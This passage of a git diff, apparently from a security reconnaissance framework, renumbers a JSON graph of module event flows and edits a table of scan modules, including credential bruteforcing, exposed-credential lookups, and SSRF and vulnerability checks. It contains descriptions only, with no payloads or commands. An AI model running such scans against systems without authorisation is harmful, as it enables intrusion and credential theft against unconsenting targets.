"source": 7, + "target": 40, + "type": "produces" + }, { "source": 12, - "target": 39, + "target": 40, "type": "produces" }, { "source": 16, - "target": 39, + "target": 40, "type": "produces" }, { - "source": 40, - "target": 39, + "source": 41, + "target": 40, "type": "produces" }, { - "source": 41, - "target": 39, + "source": 42, + "target": 40, "type": "produces" }, { "source": 5, - "target": 39, + "target": 40, "type": "produces" }, { "source": 20, - "target": 39, + "target": 40, "type": "produces" }, { - "source": 42, + "source": 43, "target": 7, "type": "consumes" }, { "source": 7, - "target": 42, + "target": 43, "type": "produces" }, { - "source": 43, + "source": 44, "target": 7, "type": "consumes" }, { "source": 7, - "target": 43, + "target": 44, "type": "produces" }, { - "source": 44, + "source": 45, "target": 20, "type": "consumes" }, { - "source": 45, - "target": 44, + "source": 46, + "target": 45, "type": "produces" }, { - "source": 46, + "source": 47, "target": 7, "type": "consumes" }, - { - "source": 47, - "target": 46, - "type": "produces" - }, { "source": 48, - "target": 46, + "target": 47, "type": "produces" }, { "source": 49, - "target": 46, + "target": 47, "type": "produces" }, { "source": 50, - "target": 46, + "target": 47, "type": "produces" }, { "source": 51, - "target": 7, - "type": "consumes" - }, - { - "source": 7, - "target": 51, + "target": 47, "type": "produces" }, { @@ -485,32 +495,32 @@ "type": "consumes" }, { - "source": 47, + "source": 7, "target": 53, "type": "produces" }, + { + "source": 54, + "target": 7, + "type": "consumes" + }, { "source": 48, - "target": 53, + "target": 54, "type": "produces" }, { "source": 49, - "target": 53, + "target": 54, "type": "produces" }, { "source": 50, - "target": 53, + "target": 54, "type": "produces" }, { - "source": 54, - "target": 7, - "type": "consumes" - }, - { - "source": 7, + "source": 51, "target": 54, "type": "produces" }, @@ -560,7 +570,7 @@ "type": "produces" }, { - "source": 47, + "source": 48, "target": 59, "type": "produces" }, @@ -610,7 +620,7 @@ "type": "consumes" }, { - "source": 47, + "source": 48, "target": 63, "type": "produces" }, @@ -626,7 +636,7 @@ }, { "source": 64, - "target": 45, + "target": 46, "type": "consumes" }, { @@ -645,7 +655,7 @@ "type": "consumes" }, { - "source": 45, + "source": 46, "target": 65, "type": "produces" }, @@ -680,13 +690,13 @@ "type": "consumes" }, { - "source": 47, + "source": 48, "target": 69, "type": "produces" }, { "source": 70, - "target": 47, + "target": 48, "type": "consumes" }, { @@ -711,1152 +721,1132 @@ }, { "source": 74, - "target": 3, + "target": 2, "type": "consumes" }, { - "source": 20, + "source": 74, + "target": 20, + "type": "consumes" + }, + { + "source": 10, "target": 74, "type": "produces" }, { "source": 75, - "target": 76, + "target": 16, "type": "consumes" }, { - "source": 20, + "source": 42, "target": 75, "type": "produces" }, { - "source": 77, - "target": 2, - "type": "consumes" - }, - { - "source": 77, - "target": 20, - "type": "consumes" - }, - { - "source": 10, - "target": 77, + "source": 20, + "target": 75, "type": "produces" }, { - "source": 78, - "target": 16, + "source": 76, + "target": 7, "type": "consumes" }, { - "source": 41, - "target": 78, + "source": 7, + "target": 76, "type": "produces" }, { - "source": 79, - "target": 7, + "source": 77, + "target": 3, "type": "consumes" }, { - "source": 7, - "target": 79, + "source": 4, + "target": 77, "type": "produces" }, { - "source": 80, + "source": 78, "target": 3, "type": "consumes" }, { - "source": 45, - "target": 80, + "source": 46, + "target": 78, "type": "produces" }, { "source": 4, - "target": 80, + "target": 78, "type": "produces" }, { - "source": 81, - "target": 45, + "source": 79, + "target": 46, "type": "consumes" }, { "source": 10, - "target": 81, + "target": 79, "type": "produces" }, { - "source": 82, - "target": 45, + "source": 80, + "target": 46, "type": "consumes" }, { "source": 10, - "target": 82, + "target": 80, "type": "produces" }, { - "source": 83, + "source": 81, "target": 7, "type": "consumes" }, { - "source": 45, - "target": 83, + "source": 46, + "target": 81, "type": "produces" }, { "source": 20, - "target": 83, + "target": 81, "type": "produces" }, { - "source": 84, + "source": 82, "target": 66, "type": "consumes" }, { - "source": 84, + "source": 82, "target": 67, "type": "consumes" }, { - "source": 45, - "target": 84, + "source": 46, + "target": 82, "type": "produces" }, { - "source": 85, + "source": 83, "target": 7, "type": "consumes" }, { - "source": 47, - "target": 85, + "source": 48, + "target": 83, "type": "produces" }, { "source": 67, - "target": 85, + "target": 83, "type": "produces" }, { - "source": 86, - "target": 45, + "source": 84, + "target": 46, "type": "consumes" }, { "source": 10, - "target": 86, + "target": 84, "type": "produces" }, { - "source": 87, + "source": 85, "target": 67, "type": "consumes" }, { - "source": 45, - "target": 87, + "source": 46, + "target": 85, "type": "produces" }, { - "source": 88, + "source": 86, "target": 2, "type": "consumes" }, { - "source": 88, + "source": 86, "target": 67, "type": "consumes" }, { - "source": 88, + "source": 86, "target": 5, "type": "consumes" }, { - "source": 45, - "target": 88, + "source": 46, + "target": 86, "type": "produces" }, { "source": 4, - "target": 88, + "target": 86, "type": "produces" }, { "source": 67, - "target": 88, + "target": 86, "type": "produces" }, { "source": 5, - "target": 88, + "target": 86, "type": "produces" }, { - "source": 89, - "target": 45, + "source": 87, + "target": 46, "type": "consumes" }, { - "source": 89, + "source": 87, "target": 66, "type": "consumes" }, { "source": 9, - "target": 89, + "target": 87, "type": "produces" }, { - "source": 90, + "source": 88, "target": 67, "type": "consumes" }, { - "source": 90, + "source": 88, "target": 3, "type": "consumes" }, { "source": 5, - "target": 90, + "target": 88, "type": "produces" }, { "source": 3, - "target": 90, + "target": 88, "type": "produces" }, { "source": 20, - "target": 90, + "target": 88, "type": "produces" }, { - "source": 91, - "target": 90, + "source": 89, + "target": 88, "type": "produces" }, { - "source": 92, + "source": 90, "target": 3, "type": "consumes" }, { "source": 4, - "target": 92, + "target": 90, "type": "produces" }, { - "source": 93, + "source": 91, "target": 7, "type": "consumes" }, { "source": 7, - "target": 93, + "target": 91, "type": "produces" }, { - "source": 94, + "source": 92, "target": 2, "type": "consumes" }, { "source": 4, - "target": 94, + "target": 92, "type": "produces" }, { - "source": 95, + "source": 93, "target": 16, "type": "consumes" }, { - "source": 95, + "source": 93, "target": 3, "type": "consumes" }, { - "source": 95, + "source": 93, "target": 20, "type": "consumes" }, { "source": 2, - "target": 95, + "target": 93, "type": "produces" }, { "source": 3, - "target": 95, + "target": 93, "type": "produces" }, { - "source": 96, + "source": 94, "target": 73, "type": "consumes" }, { "source": 4, - "target": 96, + "target": 94, "type": "produces" }, { - "source": 97, + "source": 95, "target": 7, "type": "consumes" }, { "source": 7, - "target": 97, + "target": 95, "type": "produces" }, { - "source": 47, - "target": 97, + "source": 48, + "target": 95, "type": "produces" }, { "source": 20, - "target": 97, + "target": 95, "type": "produces" }, { - "source": 98, + "source": 96, "target": 3, "type": "consumes" }, { - "source": 76, - "target": 98, + "source": 97, + "target": 96, "type": "produces" }, { - "source": 99, + "source": 98, "target": 12, "type": "consumes" }, { - "source": 100, - "target": 99, + "source": 99, + "target": 98, "type": "produces" }, { - "source": 101, + "source": 100, "target": 12, "type": "consumes" }, { "source": 12, - "target": 101, + "target": 100, "type": "produces" }, { - "source": 102, + "source": 101, "target": 12, "type": "consumes" }, { - "source": 100, - "target": 102, + "source": 99, + "target": 101, "type": "produces" }, { - "source": 103, + "source": 102, "target": 10, "type": "consumes" }, { "source": 10, - "target": 103, + "target": 102, "type": "produces" }, { - "source": 104, + "source": 103, "target": 10, "type": "consumes" }, { "source": 72, - "target": 104, + "target": 103, "type": "produces" }, { - "source": 105, + "source": 104, "target": 7, "type": "consumes" }, { "source": 7, - "target": 105, + "target": 104, "type": "produces" }, { - "source": 106, - "target": 41, + "source": 105, + "target": 42, "type": "consumes" }, { "source": 4, - "target": 106, + "target": 105, "type": "produces" }, { - "source": 107, + "source": 106, "target": 3, "type": "consumes" }, { - "source": 107, + "source": 106, "target": 73, "type": "consumes" }, { "source": 4, - "target": 107, + "target": 106, "type": "produces" }, { - "source": 108, - "target": 41, + "source": 107, + "target": 42, "type": "consumes" }, { "source": 4, - "target": 108, + "target": 107, "type": "produces" }, { - "source": 109, + "source": 108, "target": 7, "type": "consumes" }, { "source": 7, - "target": 109, + "target": 108, "type": "produces" }, { - "source": 110, + "source": 109, "target": 2, "type": "consumes" }, { "source": 4, - "target": 110, + "target": 109, "type": "produces" }, { - "source": 111, + "source": 110, "target": 7, "type": "consumes" }, { - "source": 111, + "source": 110, "target": 2, "type": "consumes" }, { - "source": 111, + "source": 110, "target": 12, "type": "consumes" }, { - "source": 111, + "source": 110, "target": 16, "type": "consumes" }, { - "source": 111, - "target": 41, + "source": 110, + "target": 42, "type": "consumes" }, { - "source": 112, + "source": 111, "target": 2, "type": "consumes" }, { - "source": 112, + "source": 111, "target": 3, "type": "consumes" }, { "source": 7, - "target": 112, + "target": 111, "type": "produces" }, { "source": 4, - "target": 112, + "target": 111, "type": "produces" }, { - "source": 113, + "source": 112, "target": 3, "type": "consumes" }, { "source": 4, - "target": 113, + "target": 112, "type": "produces" }, { "source": 5, - "target": 113, + "target": 112, "type": "produces" }, { - "source": 114, + "source": 113, "target": 7, "type": "consumes" }, { - "source": 114, + "source": 113, "target": 20, "type": "consumes" }, { "source": 7, - "target": 114, + "target": 113, "type": "produces" }, { - "source": 115, + "source": 114, "target": 7, "type": "consumes" }, { "source": 7, - "target": 115, + "target": 114, "type": "produces" }, { - "source": 116, + "source": 115, "target": 2, "type": "consumes" }, { - "source": 116, + "source": 115, "target": 73, "type": "consumes" }, { "source": 73, - "target": 116, + "target": 115, "type": "produces" }, { - "source": 117, + "source": 116, "target": 2, "type": "consumes" }, { - "source": 117, + "source": 116, "target": 73, "type": "consumes" }, { "source": 73, - "target": 117, + "target": 116, "type": "produces" }, { - "source": 118, + "source": 117, "target": 2, "type": "consumes" }, { - "source": 118, + "source": 117, "target": 73, "type": "consumes" }, { "source": 73, - "target": 118, - "type": "produces" - }, - { - "source": 119, - "target": 7, - "type": "consumes" - }, - { - "source": 7, - "target": 119, + "target": 117, "type": "produces" }, { - "source": 120, + "source": 118, "target": 7, "type": "consumes" }, { - "source": 47, - "target": 120, + "source": 48, + "target": 118, "type": "produces" }, { - "source": 121, + "source": 119, "target": 16, "type": "consumes" }, { - "source": 121, + "source": 119, "target": 3, "type": "consumes" }, { - "source": 121, + "source": 119, "target": 20, "type": "consumes" }, { - "source": 122, + "source": 120, "target": 7, "type": "consumes" }, { - "source": 122, + "source": 120, "target": 12, "type": "consumes" }, { - "source": 122, - "target": 123, + "source": 120, + "target": 121, "type": "consumes" }, { "source": 16, - "target": 122, + "target": 120, "type": "produces" }, { - "source": 124, + "source": 122, "target": 66, "type": "consumes" }, { - "source": 124, + "source": 122, "target": 67, "type": "consumes" }, { - "source": 45, - "target": 124, + "source": 46, + "target": 122, "type": "produces" }, { - "source": 125, - "target": 45, + "source": 123, + "target": 46, "type": "consumes" }, { "source": 10, - "target": 125, + "target": 123, "type": "produces" }, { - "source": 126, + "source": 124, "target": 7, "type": "consumes" }, { "source": 7, - "target": 126, + "target": 124, "type": "produces" }, { - "source": 127, + "source": 125, "target": 73, "type": "consumes" }, { "source": 4, - "target": 127, + "target": 125, "type": "produces" }, { - "source": 128, + "source": 126, "target": 20, "type": "consumes" }, { "source": 4, - "target": 128, + "target": 126, "type": "produces" }, { - "source": 129, + "source": 127, "target": 3, "type": "consumes" }, { "source": 20, - "target": 129, + "target": 127, "type": "produces" }, { - "source": 130, + "source": 128, "target": 7, "type": "consumes" }, { "source": 7, - "target": 130, + "target": 128, "type": "produces" }, { - "source": 131, + "source": 129, "target": 7, "type": "consumes" }, { - "source": 47, - "target": 131, + "source": 48, + "target": 129, "type": "produces" }, { "source": 20, - "target": 131, + "target": 129, "type": "produces" }, { - "source": 132, + "source": 130, "target": 7, "type": "consumes" }, { "source": 7, - "target": 132, + "target": 130, "type": "produces" }, { - "source": 133, + "source": 131, "target": 12, "type": "consumes" }, { "source": 4, - "target": 133, + "target": 131, "type": "produces" }, { "source": 16, - "target": 133, + "target": 131, "type": "produces" }, { - "source": 40, - "target": 133, + "source": 41, + "target": 131, "type": "produces" }, { "source": 5, - "target": 133, + "target": 131, "type": "produces" }, { - "source": 134, + "source": 132, "target": 7, "type": "consumes" }, { - "source": 134, + "source": 132, "target": 12, "type": "consumes" }, { "source": 7, - "target": 134, + "target": 132, "type": "produces" }, { "source": 4, - "target": 134, + "target": 132, "type": "produces" }, { "source": 16, - "target": 134, + "target": 132, "type": "produces" }, { "source": 5, - "target": 134, - "type": "produces" - }, - { - "source": 135, - "target": 7, - "type": "consumes" - }, - { - "source": 7, - "target": 135, + "target": 132, "type": "produces" }, { - "source": 136, + "source": 133, "target": 7, "type": "consumes" }, { - "source": 47, - "target": 136, - "type": "produces" - }, - { - "source": 137, - "target": 3, - "type": "consumes" - }, - { - "source": 4, - "target": 137, + "source": 48, + "target": 133, "type": "produces" }, { - "source": 138, + "source": 134, "target": 20, "type": "consumes" }, { "source": 67, - "target": 138, + "target": 134, "type": "produces" }, { - "source": 139, + "source": 135, "target": 19, "type": "consumes" }, { - "source": 139, + "source": 135, "target": 7, "type": "consumes" }, { - "source": 139, + "source": 135, "target": 22, "type": "consumes" }, { - "source": 139, + "source": 135, "target": 2, "type": "consumes" }, { - "source": 139, + "source": 135, "target": 12, "type": "consumes" }, { - "source": 139, - "target": 123, + "source": 135, + "target": 121, "type": "consumes" }, { - "source": 139, + "source": 135, "target": 67, "type": "consumes" }, { - "source": 139, + "source": 135, "target": 24, "type": "consumes" }, { - "source": 139, + "source": 135, "target": 3, "type": "consumes" }, { - "source": 139, + "source": 135, "target": 20, "type": "consumes" }, { - "source": 139, - "target": 50, + "source": 135, + "target": 51, "type": "consumes" }, { "source": 7, - "target": 139, + "target": 135, "type": "produces" }, { "source": 4, - "target": 139, + "target": 135, "type": "produces" }, { "source": 12, - "target": 139, + "target": 135, "type": "produces" }, { "source": 16, - "target": 139, + "target": 135, "type": "produces" }, { "source": 66, - "target": 139, + "target": 135, "type": "produces" }, { - "source": 140, - "target": 16, + "source": 136, + "target": 2, "type": "consumes" }, { "source": 7, - "target": 140, + "target": 136, "type": "produces" }, { - "source": 47, - "target": 140, + "source": 48, + "target": 136, "type": "produces" }, { - "source": 141, + "source": 137, "target": 7, "type": "consumes" }, { "source": 7, - "target": 141, + "target": 137, "type": "produces" }, { - "source": 142, + "source": 138, "target": 7, "type": "consumes" }, { "source": 7, - "target": 142, + "target": 138, "type": "produces" }, { - "source": 143, + "source": 139, "target": 7, "type": "consumes" }, { - "source": 143, + "source": 139, "target": 22, "type": "consumes" }, { - "source": 144, + "source": 140, "target": 2, "type": "consumes" }, { - "source": 144, + "source": 140, "target": 3, "type": "consumes" }, { "source": 4, - "target": 144, + "target": 140, "type": "produces" }, { - "source": 145, - "target": 45, + "source": 141, + "target": 46, "type": "consumes" }, { - "source": 145, + "source": 141, "target": 5, "type": "consumes" }, { - "source": 145, + "source": 141, "target": 20, "type": "consumes" }, { "source": 4, - "target": 145, + "target": 141, "type": "produces" }, { - "source": 146, + "source": 142, "target": 7, "type": "consumes" }, { "source": 7, - "target": 146, + "target": 142, "type": "produces" }, { - "source": 147, - "target": 45, + "source": 143, + "target": 46, "type": "consumes" }, { - "source": 147, + "source": 143, "target": 10, "type": "consumes" }, { - "source": 147, + "source": 143, "target": 2, "type": "consumes" }, { - "source": 147, + "source": 143, "target": 72, "type": "consumes" }, { "source": 4, - "target": 147, + "target": 143, "type": "produces" }, { - "source": 148, + "source": 144, "target": 10, "type": "consumes" }, { "source": 10, - "target": 148, + "target": 144, "type": "produces" }, { - "source": 149, + "source": 145, "target": 3, "type": "consumes" }, { "source": 4, - "target": 149, + "target": 145, "type": "produces" }, { - "source": 150, + "source": 146, "target": 7, "type": "consumes" }, { "source": 7, - "target": 150, + "target": 146, "type": "produces" }, { "source": 20, - "target": 150, + "target": 146, "type": "produces" }, { - "source": 151, + "source": 147, "target": 7, "type": "consumes" }, { "source": 7, - "target": 151, + "target": 147, "type": "produces" }, { - "source": 152, + "source": 148, "target": 7, "type": "consumes" }, { "source": 7, - "target": 152, + "target": 148, "type": "produces" }, { - "source": 153, + "source": 149, "target": 3, "type": "consumes" }, { "source": 17, - "target": 153, + "target": 149, "type": "produces" }, { - "source": 154, + "source": 150, "target": 7, "type": "consumes" }, { "source": 7, - "target": 154, + "target": 150, "type": "produces" }, { "source": 20, - "target": 154, + "target": 150, "type": "produces" }, { - "source": 155, + "source": 151, "target": 73, "type": "consumes" }, { - "source": 156, + "source": 152, "target": 4, "type": "consumes" }, { - "source": 156, + "source": 152, "target": 5, "type": "consumes" }, { - "source": 156, + "source": 152, + "target": 3, + "type": "consumes" + }, + { + "source": 153, "target": 3, "type": "consumes" }, { - "source": 156, - "target": 157, + "source": 20, + "target": 153, + "type": "produces" + }, + { + "source": 154, + "target": 97, "type": "consumes" }, { - "source": 158, + "source": 20, + "target": 154, + "type": "produces" + }, + { + "source": 155, "target": 2, "type": "consumes" }, { - "source": 158, + "source": 155, "target": 5, "type": "consumes" }, { "source": 4, - "target": 158, + "target": 155, "type": "produces" }, { "source": 5, - "target": 158, + "target": 155, "type": "produces" }, { "source": 20, - "target": 158, + "target": 155, "type": "produces" } ] \ No newline at end of file diff --git a/docs/modules/list_of_modules.md b/docs/modules/list_of_modules.md index fad65e1ecd..a3ba377921 100644 --- a/docs/modules/list_of_modules.md +++ b/docs/modules/list_of_modules.md @@ -13,23 +13,23 @@ | bucket_digitalocean | scan | No | Check for DigitalOcean spaces related to target | active, cloud-enum, safe, slow, web-heavy | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2022-11-08 | | bucket_firebase | scan | No | Check for open Firebase databases related to target | active, cloud-enum, safe, web | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2023-03-20 | | bucket_google | scan | No | Check for Google object storage related to target | active, cloud-enum, safe, web | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2022-11-04 | +| bucket_hetzner | scan | No | Check for Hetzner Object Storage buckets related to target | active, cloud-enum, safe, slow, web-heavy | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @ChrisJr404 | 2026-05-04 | | bucket_microsoft | scan | No | Check for Azure storage blobs related to target | active, cloud-enum, safe, web | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2022-11-04 | | bypass403 | scan | No | Check 403 pages for common bypasses | active, loud, web-heavy | URL | FINDING | @liquidsec | 2022-07-05 | | dnsbrute | scan | No | Brute-force subdomains with massdns + static wordlist | active, loud, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2024-04-24 | | dnsbrute_mutations | scan | No | Brute-force subdomains with massdns + target-specific mutations | active, loud, slow, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2024-04-25 | | dnscommonsrv | scan | No | Check for common SRV records | active, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-05-15 | | dotnetnuke | scan | No | Scan for critical DotNetNuke (DNN) vulnerabilities | active, invasive, loud, web-heavy | HTTP_RESPONSE | FINDING, TECHNOLOGY | @liquidsec | 2023-11-21 | -| ffuf | scan | No | A fast web fuzzer written in Go | active, loud | URL | URL_UNVERIFIED | @liquidsec | 2022-04-10 | -| ffuf_shortnames | scan | No | Use ffuf in combination IIS shortnames | active, iis-shortnames, loud, web-heavy | URL_HINT | URL_UNVERIFIED | @liquidsec | 2022-07-05 | | filedownload | scan | No | Download common filetypes such as PDF, DOCX, PPTX, etc. | active, download, safe, web | HTTP_RESPONSE, URL_UNVERIFIED | FILESYSTEM | @TheTechromancer | 2023-10-11 | -| fingerprintx | scan | No | Fingerprint exposed services like RDP, SSH, MySQL, etc. | active, safe, service-enum, slow | OPEN_TCP_PORT | PROTOCOL | @TheTechromancer | 2023-01-30 | +| fingerprintx | scan | No | Fingerprint exposed services like RDP, SSH, MySQL, etc. | active, safe, service-enum, slow | OPEN_TCP_PORT | PROTOCOL, URL_UNVERIFIED | @TheTechromancer | 2023-01-30 | +| generic_ssrf | scan | No | Check for generic SSRFs | active, invasive, web-heavy | URL | FINDING | @liquidsec | 2022-07-30 | | git | scan | No | Check for exposed .git repositories | active, code-enum, safe, web | URL | CODE_REPOSITORY, FINDING | @TheTechromancer | 2023-05-30 | | gitlab_com | scan | No | Enumerate GitLab SaaS (gitlab.com/org) for projects and groups | active, code-enum, safe | SOCIAL | CODE_REPOSITORY | @TheTechromancer | 2024-03-11 | | gitlab_onprem | scan | No | Detect self-hosted GitLab instances and query them for repositories | active, code-enum, safe | HTTP_RESPONSE, SOCIAL, TECHNOLOGY | CODE_REPOSITORY, FINDING, SOCIAL, TECHNOLOGY | @TheTechromancer | 2024-03-11 | | gowitness | scan | No | Take screenshots of webpages | active, safe, web-screenshots | SOCIAL, URL | TECHNOLOGY, URL, URL_UNVERIFIED, WEBSCREENSHOT | @TheTechromancer | 2022-07-08 | | graphql_introspection | scan | No | Perform GraphQL introspection on a target | active, safe, web | URL | FINDING | @mukesh-dream11 | 2025-07-01 | | host_header | scan | No | Try common HTTP Host header spoofing techniques | active, loud, web-heavy | HTTP_RESPONSE | FINDING | @liquidsec | 2022-07-27 | -| httpx | scan | No | Visit webpages. Many other modules rely on httpx | active, cloud-enum, safe, social-enum, subdomain-enum, web | OPEN_TCP_PORT, URL, URL_UNVERIFIED | HTTP_RESPONSE, URL | @TheTechromancer | 2022-07-08 | +| http | scan | No | Visit webpages using blasthttp (native Rust HTTP engine) | active, cloud-enum, safe, social-enum, subdomain-enum, web | OPEN_TCP_PORT, URL, URL_UNVERIFIED | HTTP_RESPONSE, URL | @liquidsec | 2026-03-08 | | hunt | scan | No | Watch for commonly-exploitable HTTP parameters | active, safe, web-heavy | WEB_PARAMETER | FINDING | @liquidsec | 2022-07-20 | | iis_shortnames | scan | No | Check for IIS shortname vulnerability | active, iis-shortnames, loud, web | URL | URL_HINT | @liquidsec | 2022-04-15 | | legba | scan | No | Credential bruteforcing supporting various services. | active, invasive, loud | PROTOCOL | FINDING | @christianfl, @fuzikowski | 2025-07-18 | @@ -47,14 +47,15 @@ | retirejs | scan | No | Detect vulnerable/out-of-date JavaScript libraries | active, safe, web-heavy | URL_UNVERIFIED | FINDING | @liquidsec | 2025-08-19 | | robots | scan | No | Look for and parse robots.txt | active, safe, web | URL | URL_UNVERIFIED | @liquidsec | 2023-02-01 | | securitytxt | scan | No | Check for security.txt content | active, cloud-enum, safe, subdomain-enum, web | DNS_NAME | EMAIL_ADDRESS, URL_UNVERIFIED | @colin-stubbs | 2024-05-26 | -| smuggler | scan | No | Check for HTTP smuggling | active, invasive, loud, slow, web-heavy | URL | FINDING | @liquidsec | 2022-07-06 | -| sslcert | scan | No | Visit open ports and retrieve SSL certificates | active, affiliates, email-enum, safe, subdomain-enum, web | OPEN_TCP_PORT | DNS_NAME, EMAIL_ADDRESS | @TheTechromancer | 2022-03-30 | +| sslcert | scan | No | Extract hostnames and emails from TLS certificates in HTTP responses | active, affiliates, email-enum, safe, subdomain-enum, web | HTTP_RESPONSE | DNS_NAME, EMAIL_ADDRESS | @TheTechromancer | 2022-03-30 | | telerik | scan | No | Scan for critical Telerik vulnerabilities | active, invasive, loud, web-heavy | HTTP_RESPONSE, URL | FINDING | @liquidsec | 2022-04-10 | | url_manipulation | scan | No | Attempt to identify URL parsing/routing based vulnerabilities | active, loud, web-heavy | URL | FINDING | @liquidsec | 2022-09-27 | | wafw00f | scan | No | Web Application Firewall Fingerprinting Tool | active, loud | URL | WAF | @liquidsec | 2023-02-15 | +| webbrute | scan | No | A fast web fuzzer powered by blasthttp | active, loud | URL | URL_UNVERIFIED | @liquidsec | 2022-04-10 | +| webbrute_shortnames | scan | No | Brute-force IIS shortnames using ML-predicted wordlists | active, iis-shortnames, loud, web-heavy | URL_HINT | URL_UNVERIFIED | @liquidsec | 2022-07-05 | | wpscan | scan | No | Wordpress security scanner. Highly recommended to use an API key for better results. | active, loud | HTTP_RESPONSE, TECHNOLOGY | FINDING, TECHNOLOGY, URL_UNVERIFIED | @domwhewell-sage | 2024-05-29 | | affiliates | scan | No | Summarize affiliate domains at the end of a scan | affiliates, passive, safe | * | | @TheTechromancer | 2022-07-25 | -| anubisdb | scan | No | Query jldc.me's database for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-10-04 | +| anubisdb | scan | No | Query anubisdb.com for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-10-04 | | apkpure | scan | No | Download android applications from apkpure.com | code-enum, download, passive, safe | MOBILE_APP | FILESYSTEM | @domwhewell-sage | 2024-10-11 | | asn | scan | No | Query asndb for ASN information | passive, safe, subdomain-enum | IP_ADDRESS | ASN | @TheTechromancer | 2022-07-25 | | azure_tenant | scan | No | Query Azure for tenant information using multiple enumeration methods | affiliates, cloud-enum, passive, safe, subdomain-enum | DNS_NAME | AZURE_TENANT, DNS_NAME, FINDING, URL_UNVERIFIED | @TheTechromancer | 2024-07-04 | @@ -72,7 +73,6 @@ | crt | scan | No | Query crt.sh (certificate transparency) for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-05-13 | | crt_db | scan | No | Query crt.sh (certificate transparency) for subdomains via PostgreSQL | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2025-03-27 | | dehashed | scan | Yes | Execute queries against dehashed.com for exposed credentials | email-enum, passive, safe | DNS_NAME | EMAIL_ADDRESS, HASHED_PASSWORD, PASSWORD, USERNAME | @SpamFaux | 2023-10-12 | -| digitorus | scan | No | Query certificatedetails.com for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-07-25 | | dnsbimi | scan | No | Check DNS_NAME's for BIMI records to find image and certificate hosting URL's | cloud-enum, passive, safe, subdomain-enum | DNS_NAME | RAW_DNS_RECORD, URL_UNVERIFIED | @colin-stubbs | 2024-11-15 | | dnscaa | scan | No | Check for CAA records | email-enum, passive, safe, subdomain-enum | DNS_NAME | DNS_NAME, EMAIL_ADDRESS, URL_UNVERIFIED | @colin-stubbs | 2024-05-26 | | dnsdumpster | scan | No | Query dnsdumpster for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-03-12 | @@ -98,7 +98,6 @@ | leakix | scan | No | Query leakix.net for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-11 | | myssl | scan | No | Query myssl.com's API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-07-10 | | otx | scan | Yes | Query otx.alienvault.com for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-24 | -| passivetotal | scan | Yes | Query the PassiveTotal API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-08 | | pgp | scan | No | Query common PGP servers for email addresses | email-enum, passive, safe | DNS_NAME | EMAIL_ADDRESS | @TheTechromancer | 2022-08-10 | | portfilter | scan | No | Filter out unwanted open ports from cloud/CDN targets | passive, safe | OPEN_TCP_PORT, URL, URL_UNVERIFIED | | @TheTechromancer | 2025-01-06 | | postman | scan | No | Query Postman's API for related workspaces, collections, requests and download them | code-enum, passive, safe, subdomain-enum | ORG_STUB, SOCIAL | CODE_REPOSITORY | @domwhewell-sage | 2024-09-07 | @@ -108,7 +107,6 @@ | shodan_dns | scan | Yes | Query Shodan for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-03 | | shodan_enterprise | scan | Yes | Shodan Enterprise API integration module. | passive, safe | IP_ADDRESS | FINDING, OPEN_TCP_PORT, OPEN_UDP_PORT, TECHNOLOGY | @Control-Punk-Delete | 2026-01-27 | | shodan_idb | scan | No | Query Shodan's InternetDB for open ports, hostnames, technologies, and vulnerabilities | passive, portscan, safe, subdomain-enum | DNS_NAME, IP_ADDRESS | DNS_NAME, FINDING, OPEN_TCP_PORT, TECHNOLOGY | @TheTechromancer | 2023-12-22 | -| sitedossier | scan | No | Query sitedossier.com for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-08-04 | | skymem | scan | No | Query skymem.info for email addresses | email-enum, passive, safe | DNS_NAME | EMAIL_ADDRESS | @TheTechromancer | 2022-07-11 | | social | scan | No | Look for social media links in webpages | passive, safe, social-enum | URL_UNVERIFIED | SOCIAL | @TheTechromancer | 2023-03-28 | | subdomaincenter | scan | No | Query subdomain.center's API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-07-26 | @@ -125,7 +123,6 @@ | discord | output | No | Message a Discord channel when certain events are encountered | | * | | @TheTechromancer | 2023-08-14 | | elastic | output | No | Send scan results to Elasticsearch | | * | | @TheTechromancer | 2022-11-21 | | emails | output | No | Output any email addresses found belonging to the target domain | email-enum, safe | EMAIL_ADDRESS | | @domwhewell-sage | 2023-12-23 | -| http | output | No | Send every event to a custom URL via a web request | | * | | @TheTechromancer | 2022-04-13 | | json | output | No | Output to Newline-Delimited JSON (NDJSON) | | * | | @TheTechromancer | 2022-04-07 | | kafka | output | No | Output scan data to a Kafka topic | | * | | @TheTechromancer | 2024-11-22 | | mongo | output | No | Output scan data to a MongoDB database | | * | | @TheTechromancer | 2024-11-17 | @@ -144,7 +141,8 @@ | teams | output | No | Message a Teams channel when certain events are encountered | | * | | @TheTechromancer | 2023-08-14 | | txt | output | No | Output to text | | * | | @TheTechromancer | 2024-04-03 | | web_parameters | output | No | Output WEB_PARAMETER names to a file | | WEB_PARAMETER | | @liquidsec | 2025-01-25 | -| web_report | output | No | Create a markdown report with web assets | | FINDING, TECHNOLOGY, 